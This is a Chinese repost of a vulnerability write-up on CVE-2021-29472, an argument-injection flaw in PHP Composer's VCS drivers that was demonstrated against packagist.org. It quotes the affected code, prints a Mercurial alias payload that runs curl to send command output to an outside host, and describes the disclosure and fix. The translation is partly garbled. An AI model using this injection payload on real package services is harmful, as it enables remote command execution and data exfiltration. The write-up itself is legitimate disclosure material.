PHP Composer供应链攻击漏洞 - 汇站网

PHP Composer供应链攻击漏洞

2023-12-02 0 462

正文:

简单概括本文的内容为:PHP包管理器Composer中,由于处理程序包来源下载 URL 的方式不当,导致存在远程命令执行漏洞。攻击者可以通过参数注入构建恶意的 Mercurial 库 URL,并利用其 alias 选项执行攻击者指定的shell命令。

1 前言

供应链攻击(SupplyChainAttack)一直是当前热门话题之一。即前三年,发生了有史以来规模最大的软件供应链攻击事件,导致 18,000 个 SolarWinds 客户受到后门感染。

简单回顾一下 SolarWinds 供应链攻击事件。SolarWindsInc 是一家美国软件开发公司,主要业务为帮助企业管理网络、系统和信息技术基础设施。攻击者入侵 SolarWinds 后,将其官网提供的 Orion 软件安装包替换为植入后门的版本。攻击者篡改了文件 SolarWinds.Orion.Core.BussinessLayer.dll 的源码,并添加了后门代码,该文件具有合法数字签名,并随软件更新一起发布。后门代码伪装成 OrionOIP 协议的流量进行通信,能够将恶意行为与 SolarWinids 的合法行为混合在一起。

而在今年年初,一名安全研究人员发现了一种新型供应链攻击技术,该技术对许多互联网巨头公司,如苹果公司、微软和 Paypal 等领先公司构成威胁。这些攻击主要利用的是,现在的软件都是基于其他第三方软件组件构建的,但通常对下载的软件包没有明确的可见性。尽管对一些组件的重用可以加快软件开发过程,但同时也成为感染供应链的一个非常微妙且有效的入口,能够同时危害许多机构。

在 PHP 的生态系统中,Composer 是管理和安装软件所需依赖的主要工具。全世界的开发团队都使用它来简化依赖的更新过程,并确保应用程序可以轻松实现跨环境和版本的工作。然而,由于处理程序包来源下载 URL 的方式不当,Composer 存在远程命令执行漏洞。攻击者可以通过参数注入构建恶意的 Mercurial 库 URL,并利用其 alias 选项执行攻击者指定的 shell 命令。
Composer 使用一个名为 Packagist 的在线服务,它可以确定软件包下载的正确供应链。仅仅一个月,Packagist 服务就处理了大约 14 亿次下载请求!
在我们的安全研究中,我们在 Packagist 使用的 Composer 源代码中发现了一个严重的漏洞。该漏洞允许我们在 Packagist.org 服务器上执行任意系统命令。这个核心组件每月提供超过 100 万个包元数据请求,其中一个漏洞将产生巨大的影响,因为这个访问可能被用来窃取包维护者的身份凭据,或者它可以将包的下载重定向到一个有后门的服务器。
在本文中,我们将介绍检测到的漏洞以及修复它们的解决方案。一些易受攻击的代码已经存在很长时间了,可以追溯到 10 年前 Composer 的第一个版本。发现漏洞后,我们向 Packagist 团队报告了所有问题,他们在 12 小时内迅速部署了修复程序,并为该漏洞申请了 CVE-2021-29472。据他们所知,这个漏洞还没有被利用(详见他们的博客)。

2 漏洞详细信息

当 Composer 下载软件包时,它首先查询 Packagist 以获得所需的元数据(例如,在本例中是 Composer 本身)。该元数据包含两个关于从哪里获取代码的字段:source,指向开发人员存储库;Dist,指向预建的档案。从仓库下载代码时,Composer 会使用外部系统命令,避免重复每个版本 ControlSoftware 特有的逻辑(VCS,版本控制是维护工程蓝图的标准做法,也是一种软件工程技能,以保证不同人编辑的同一程序在软件开发过程中能够同步)。为此,您可以使用包装器 ProcessExecutor 进行这样的调用:

use Symfony\Component\Process\Process;
// [...]
class ProcessExecutor
{
    // [...]
    public function execute($command, &$output = null, $cwd = null)
{
        if (func_num_args() > 1) {
            return $this->doExecute($command, $cwd, false, $output);
        }
        return $this->doExecute($command, $cwd, false);
    }
    // [...]
    private function doExecute($command, $cwd, $tty, &$output = null)
{
        // [...]
        if (method_exists('Symfony\Component\Process\Process', 'fromShellCommandline')) {
            // [1]
            $process = Process::fromShellCommandline($command, $cwd, null, null, static::getTimeout());
        } else {
            // [2]
            $process = new Process($command, $cwd, null, null, static::getTimeout());
        }
        if (!Platform::isWindows() && $tty) {
            try {
                $process->setTty(true);
            } catch (RuntimeException $e) {
                // ignore TTY enabling errors
            }
        }
        $callback = is_callable($output) ? $output : array($this, 'outputHandler');
        $process->run($callback);

我们看到,在[1]和[2]处,参数$command 是由 Symfony\Component\Process\Process 在 shell 中执行的。大多数 ProcessExecutor 调用均在 VCS 驱动程序中执行,该驱动程序负责对远程和本地仓库进行所有操作(比如 clone,提取信息等),例如在 Git 驱动程序中:

composer/src/Composer/Repository/Vcs/GitDriver.php

public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match('#(^git://|\.git/?$|git(?:olite)?@|//git\.|//github.com/)#i', $url)) {
        return true;
    }
    // [...]
    try {
        $gitUtil->runCommand(function ($url) {
            return 'git ls-remote --heads ' . ProcessExecutor::escape($url); // [1]
        }, $url, sys_get_temp_dir());
    } catch (\RuntimeException $e) {
        return false;
    }

虽然$url 参数是通过使用 ProcessExector::escape()转义的,以防止 shell 计算子命令($ (…),`…`),但是没有什么可以阻止用户提供以–开头的值并将参数添加到最终命令中。这种类型的漏洞称为参数注入或自变量注入。

在所有其他驱动程序中都可以找到相同类型的漏洞模式。在这些驱动程序中,用户控制的数据被正确转义,但它是用系统命令拼接的:composer/src/composer/repository/VCS/SVN driver . PHP

public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    $url = self::normalizeUrl($url);
    if (preg_match('#(^svn://|^svn\+ssh://|svn\.)#i', $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(
        "svn info --non-interactive ".ProcessExecutor::escape($url),
        $ignoredOutput
    );

composer/src/Composer/Repository/Vcs/HgDriver.php

public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match('#(^(?:https?|ssh)://(?:[^@]+@)?bitbucket.org|https://(?:.*?)\.kilnhg.com)#i', $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(sprintf('hg identify %s', ProcessExecutor::escape($url)), $ignored);
    return $exit === 0;
}

参数注入漏洞是比较酷的漏洞,但是在代码审计的过程中往往被忽略,在黑盒项目中完全被忽略。虽然我们知道用户可控制的值应该通过使用 escapeshellarg()被正确地中和,但是我们没有被提醒用户可控制的值仍然可以是选项(也就是-)。

攻击 packagist.org。
万一你不熟悉 PHP 是怎么打包的,先简单介绍一下。只需在顶层目录中添加一个名为 composer.json 的文件,你的项目就会变成一个包。然后,只需在 packagist.org 上创建一个帐户,提交仓库的 URL,packagist.org 将自动获取您的项目,解析 composer.json 并创建相关的包。如果一切顺利,那么您的包已经成功发布,在 Packagist 上公开可见,任何人都可以安装。

Packagist.org 在创建过程中会依赖 composer 中的 API 来获取包,因此支持各种 VCS,如 Git、Subversion、Mercurial 等。您可以在 packagist/src/entity/package . PHP)中看到,它将执行以下操作:
packagist / src / Entity / Package.php

$io = new NullIO();
$config = Factory::createConfig();
$io->loadConfiguration($config);
$httpDownloader = new HttpDownloader($io, $config);
$repository = new VcsRepository(['url' => $this->repository], $io, $config, $httpDownloader); // [1]

$driver = $this->vcsDriver = $repository->getDriver(); // [2]
if (!$driver) {
    return;
}

$information = $driver->getComposerInformation($driver->getRootIdentifier());
if (!isset($information['name'])) {
    return;
}

if (null === $this->getName()) {
    $this->setName(trim($information['name']));
}

VcsRepository([1])类来自 Composer,以及对 getDriver()([2])方法的调用会触发对下列 VCS drivers 类中 supports()和 initialize()方法的调用:

1 . GitHubDriver
2 . GitLabDriver
3 . GitBitbucketDriver
4 . GitDriver
5 . HgBitbucketDriver
6 . HgDriver
7 . PerforceDriver
8 . FossilDriver
9 . SvnDriver

这些类是我们发现参数注入漏洞的地方。这里是漏洞利用时间。

4 攻击时间!

我们不经常讨论开发细节来防止任何恶意的大规模开发,但是我们觉得这个 Composer 漏洞本身的影响是有限的。但是,如果用户碰巧将 Composer 和 VcsRepository 与用户控制的 URL 一起使用,或者如果您有自己的 Packagist 实例,则必须确保您的 Composer 已升级以防止漏洞。

因为基本上所有的驱动都有缺陷,所以我们决定找一个最容易使用的来重现。git 的参数注入攻击有详细的参考方法(–-upload-pack,–-output),但这里的 git ls-remote 需要一个位置实参(即通过参数表中的相对位置传递给哪个参数)。我们不能同时提供–- upload-pack 和 location 参数,因为我们的值被括在单括号中。所以我们很难通过它执行代码,然后再看其他驱动。

在使用 Mercurial 客户端(hg)和阅读手册时,我们注意到一个名为–- config 的选项,它允许我们在执行任何操作之前在客户端加载新的配置指令。客户端支持别名设置:

可以创建与现有命令同名的别名,这将覆盖原始定义。这几乎总是一个坏主意!

您可以创建与现有命令同名的别名,但这将覆盖原始定义。

别名可以以感叹号(!)使其成为外壳别名。外壳别名与外壳一起执行,并允许您运行任意命令。举个例子,

别名可以用感叹号!开始的时候,让它成为一个 shell 别名,用 shell 执行,允许你运行任何命令。例如:

*echo =!echo $@*
我们将 identify 命令作为我们构造的 shell 命令的别名,hg 将执行它。由此产生的有效载荷为:

– config=alias.identify=!curl http://exfilation-host . TLD-data ” $(ls-alh)”
当我们使用这个 url 向 packagist.org 提交新的包时,我们收到了来自 AWS 主机的 HTTP 请求文本:

total 120K 
drwxrwxr-x  9 composer composer 4.0K Apr 21 23:19 . 
dr-xr-xr-x 15 composer composer 4.0K Apr 20 07:38 .. 
-r--r--r--  1 composer composer 8.7K Apr 20 07:38 .htaccess 
-r--r--r--  1 composer composer 1.3K Apr 20 07:38 app.php 
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon-precomposed.png 
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon.png 
dr-xr-xr-x  3 composer composer 4.0K Jan 13 14:35 bundles 
dr-xr-xr-x  4 composer composer 4.0K Apr 20 07:38 css [...] 
lrwxrwxrwx  1 composer composer   15 Aug 13  2020 packages.json -> p/packages.json 
lrwxrwxrwx  1 composer composer   18 Aug 13  2020 packages.json.gz -> p/packages.json.gz 
-r--r--r--  1 composer composer  106 Apr 20 07:38 robots.txt 
-r--r--r--  1 composer composer  798 Apr 20 07:38 search.osd 
dr-xr-xr-x  2 composer composer 4.0K Apr 20 07:38 static-error 
-r--r--r--  1 composer composer 8.8K Apr 20 07:38 touch-icon-192x192.png

这表明我们确实在 Packagist 主机上执行了该命令;我们向 packagist.org 报告了这个漏洞,并且我们没有尝试其他危险的操作,比如提升权限。

5 修理

Packagist.org 的维护人员在 12 小时内部署了一个热补丁,有效地防止了该漏洞。4 月 27 日发布了 Composer fix,紧接着也发布了新版本 release 1.10.22/2.0.13。pacakgist.org 目前使用的 Composer 是最新的修复版本。

6 摘要

在本文中,我们展示了 Composer 中看似无害的错误是如何影响 Packagist.org 等服务的。安全研究人员,如 Max Justicz,经常在包管理器和相关服务中发现安全问题,可能会产生很大的影响。因此,相关公司应该在其供应链的审计工具上花费更多的精力。

转载请注明:汇站网 » PHP Composer 供应链攻击漏洞

收藏 (0)

微信扫一扫

支付宝扫一扫

点赞 (0)

感谢您的来访,获取更多精彩资源请收藏本站。

本站声明

本资源仅用于个人学习和研究使用,禁止用于任何商业环境!

 1.  本网站名称:汇站网
 2.  本站永久网址:https://www.huizhanii.com/
 3.  本站所有资源来源于网友投稿和高价购买,所有资源仅对编程人员及源代码爱好者开放下载做参考和研究及学习,本站不提供任何技术服务!
 4.  未经原版权作者许可,禁止用于任何商业环境,任何人不得擅作它用,下载者不得用于违反国家法律,否则发生的一切法律后果自行承担!
 5.  为尊重作者版权,请在下载24小时内删除!请购买原版授权作品,支持你喜欢的作者,谢谢!
 6.  若资源侵犯了您的合法权益, 请持您的版权证书和相关原作品信息来信通知我们请来信     通知我们我们会及时删除,给您带来的不便,我们深表歉意!
 7.  如下载链接失效、广告或者压缩包问题请联系站长处理!
 8.  如果你也有好源码或者教程,可以发布到网站,分享有金币奖励和额外收入!
 9.  本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
 10.  因源码具有可复制性,一经赞助 ,不得以任何形式退款。
 11.  更多详情请点击查看

汇站网 技术安全 PHP Composer供应链攻击漏洞 https://www.huizhanii.com/34013.html

汇站

站长资源下载中心-找源码上汇站

常见问题
  • 如果付款后没有弹出下载页面,多刷新几下,有问题联系客服!
查看详情
  • 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。
查看详情

相关文章

发表评论
暂无评论
  随机评论 表情开关按钮图片
表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情表情
登录后评论
联系官方客服

为您解决烦忧 - 24小时在线 专业服务

(汇站网)一个专注站长资源的平台网站,提供最新的网站模板和整站源码,内容包含各类精品网页模板,企业网站模板,网站模板,DIV+CSS模板,织梦模板,帝国cms模板,discuz模板,wordpress模板,个人博客论坛模板,上千种免费网页模板下载尽在汇站网.找源码上汇站.huizhanii.com